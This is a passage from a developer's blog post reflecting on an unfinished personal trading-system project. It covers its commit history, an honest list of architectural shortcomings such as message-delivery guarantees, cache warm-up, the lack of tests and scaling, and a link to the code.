<p>Zooming out, the commit history tells its own story about what building something real actually looks like outside of a bootcamp — long stretches of nothing, then a concentrated burst of work, repeated:</p>
<img src="https://cdn.hashnode.com/uploads/covers/6aa6dfdd63d580e8407acb1a/f72a656f-98cf-49d9-82fc-b0fb1c7bfebd.png" alt="" style="display:block;margin:0 auto" />

<p>That long quiet stretch in the middle isn't laziness — it's what happens when a project depends on paid market-data access and brokerage sandbox credits, and life reallocates your budget elsewhere. I think there's a version of architect-maturity in <em>accepting that gap without treating the project as a failure</em>. The system's boundaries were drawn cleanly enough early on that I could pick it back up much later with almost zero re-orientation cost — that's not an accident, that's what good module boundaries buy you.</p>
<hr />
<h2>What I'd do differently, if I were reviewing this as a principal architect today</h2>
<p>This is the part I think matters most for where I want to go next in my career — being honest about the gaps in your own design is a skill, not an admission of weakness.</p>
<ul>
<li><p><strong>Plain pub/sub isn't enough for money-moving events.</strong> At-most-once delivery is fine for market data (a dropped tick just means a slightly less accurate candle), but the order-intent and anything touching positions or orders needs at-least-once delivery with idempotency keys, or a durable stream with explicit acknowledgement. Losing an order intent silently is not an acceptable failure mode, and I designed the happy path before I designed for message loss.</p>
</li>
<li><p><strong>The in-memory candle cache is a single point of amnesia.</strong> It's warm-loaded from the time-series store on first use, which is good — but if the service restarts mid-session, there's a window where strategies run on partial history until the cache re-warms. For a system making real trades, I'd want either a shared cache or an explicit "not ready" state that suppresses signal generation until warm-up is provably complete.</p>
</li>
<li><p><strong>Strategy configuration is still code, not data.</strong> Adding a strategy today means writing a new class and registering it in the runner's constructor. The signal shape is already designed for it, but I never built the config-driven strategy registry that would let you enable, disable, or parameterize strategies per instrument without a deploy.</p>
</li>
<li><p><strong>No tests, and I'm not going to pretend otherwise.</strong> This is the direct cost of the funding constraint — I couldn't justify paying for a live or sandbox feed long enough to build meaningful integration tests against real market conditions, and unit-testing strategy math in isolation felt like testing the least risky 10% of the system. If I picked this back up, contract tests around the event schemas would be my first investment, not more strategies.</p>
</li>
<li><p><strong>Horizontal scaling was scaffolded, not solved.</strong> A commented-out replica count in the deployment config shows I <em>knew</em> I'd eventually need to partition instruments across multiple live-data-consumer instances — but I never solved the actual hard problem underneath that comment: how do you shard by instrument while guaranteeing a single instrument's ticks always land on the same candle-builder, without a coordination service? That's an unsolved architecture problem I'd want to whiteboard properly, not comment out and move past.</p>
</li>
</ul>
<hr />
<h2>The takeaway</h2>
<p>I didn't finish The Trader. I'm at peace with that, and I think that peace is itself worth writing down: an unfinished system with clean, explainable boundaries and a paper trail of <em>why</em> each boundary is where it is, is worth more — to me, and hopefully to anyone reading this — than a finished demo where every decision was made to look good in a five-minute walkthrough. Architecture, at the level I'm aiming for, isn't measured by whether the thing shipped. It's measured by whether someone else could open the repo later, read the history, and understand exactly what you were thinking — including the sentence you left unfinished on purpose.</p>
<p>If you want to poke at the actual code, it's all here: <a href="https://github.com/somesh-banerjee/the-trader"><strong>github.com/somesh-banerjee/the-trader</strong></a>.</p>
]]></content:encoded></item></channel></rss>